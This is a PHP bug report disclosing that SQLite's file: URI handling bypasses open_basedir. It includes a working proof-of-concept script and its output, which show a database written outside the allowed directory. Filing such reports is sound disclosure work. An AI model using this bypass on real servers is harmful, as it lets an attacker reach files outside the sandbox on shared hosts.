Bug #77967 [NEW]: Bypassing open_basedir restrictions via file uris

From: radimre83 at gmail dot com Operating system: Linux PHP version: 7.3.5 Package: SQLite related Bug Type: Bug Bug description:Bypassing open_basedir restrictions via file uris Description: ------------ Sqlite supports the file: URI handler as part of the DSN string. https://sqlite.org/uri.html This feature can be abused to bypass the open_basedir restriction configured for PHP. Test script: --------------- <?php file_put_contents("/safe/test.txt", "shall work"); file_put_contents("/unsafe/test.txt", "shall be a warning due to openbasedir"); $db = new SQLite3("/safe/main.db", 0x00000002|0x00000004|0x00000040); // 0x40 is SQLITE_OPEN_URI chdir("/safe"); // the current working dir must be one of the open basedirs $db->exec("ATTACH 'file:/unsafe/poc.db' AS sdb;"); $db->exec("CREATE TABLE sdb.t (t TEXT)"); $db->exec("INSERT INTO sdb.t (t) VALUES ('foobar')"); $db->close(); Expected result: ---------------- root@fd7f809a8411:/# /build/php-7.3.5/sapi/cli/php -d open_basedir=/safe /repo-shared/sqlite/sqlite-attach.php Warning: file_put_contents(): open_basedir restriction in effect. File(/unsafe/test.txt) is not within the allowed path(s): (/safe) in /repo-shared/sqlite/sqlite-attach.php on line 3 Warning: file_put_contents(/unsafe/test.txt): failed to open stream: Operation not permitted in /repo-shared/sqlite/sqlite-attach.php on line 3 Warning: SQLite3::exec(): not authorized in /repo-shared/sqlite/sqlite-attach.php on line 9 Warning: SQLite3::exec(): unknown database sdb in /repo-shared/sqlite/sqlite-attach.php on line 10 Warning: SQLite3::exec(): no such table: sdb.t in /repo-shared/sqlite/sqlite-attach.php on line 11 root@fd7f809a8411:/safe# ls -la /unsafe/ total 16 drwxr-xr-x 2 root root 4096 May 4 09:53 . drwxr-xr-x 71 root root 4096 May 4 09:46 .. Actual result: -------------- root@fd7f809a8411:/# /build/php-7.3.5/sapi/cli/php -d open_basedir=/safe /repo-shared/sqlite/sqlite-attach.php Warning: file_put_contents(): open_basedir restriction in effect. File(/unsafe/test.txt) is not within the allowed path(s): (/safe) in /repo-shared/sqlite/sqlite-attach.php on line 3 Warning: file_put_contents(/unsafe/test.txt): failed to open stream: Operation not permitted in /repo-shared/sqlite/sqlite-attach.php on line 3 root@fd7f809a8411:/safe# ls -la /unsafe/ total 16 drwxr-xr-x 2 root root 4096 May 4 09:53 . drwxr-xr-x 71 root root 4096 May 4 09:46 .. -rw-r--r-- 1 root root 8192 May 4 09:53 poc.db -- Edit bug report at https://bugs.php.net/bug.php?id=77967&edit=1 -- Try a snapshot (PHP 5.4): https://bugs.php.net/fix.php?id=77967&r=trysnapshot54 Try a snapshot (PHP 5.5): https://bugs.php.net/fix.php?id=77967&r=trysnapshot55 Try a snapshot (trunk): https://bugs.php.net/fix.php?id=77967&r=trysnapshottrunk Fixed in SVN: https://bugs.php.net/fix.php?id=77967&r=fixed Fixed in release: https://bugs.php.net/fix.php?id=77967&r=alreadyfixed Need backtrace: https://bugs.php.net/fix.php?id=77967&r=needtrace Need Reproduce Script: https://bugs.php.net/fix.php?id=77967&r=needscript Try newer version: https://bugs.php.net/fix.php?id=77967&r=oldversion Not developer issue: https://bugs.php.net/fix.php?id=77967&r=support Expected behavior: https://bugs.php.net/fix.php?id=77967&r=notwrong Not enough info: https://bugs.php.net/fix.php?id=77967&r=notenoughinfo Submitted twice: https://bugs.php.net/fix.php?id=77967&r=submittedtwice register_globals: https://bugs.php.net/fix.php?id=77967&r=globals PHP 4 support discontinued: https://bugs.php.net/fix.php?id=77967&r=php4 Daylight Savings: https://bugs.php.net/fix.php?id=77967&r=dst IIS Stability: https://bugs.php.net/fix.php?id=77967&r=isapi Install GNU Sed: https://bugs.php.net/fix.php?id=77967&r=gnused Floating point limitations: https://bugs.php.net/fix.php?id=77967&r=float No Zend Extensions: https://bugs.php.net/fix.php?id=77967&r=nozend MySQL Configuration Error: https://bugs.php.net/fix.php?id=77967&r=mysqlcfg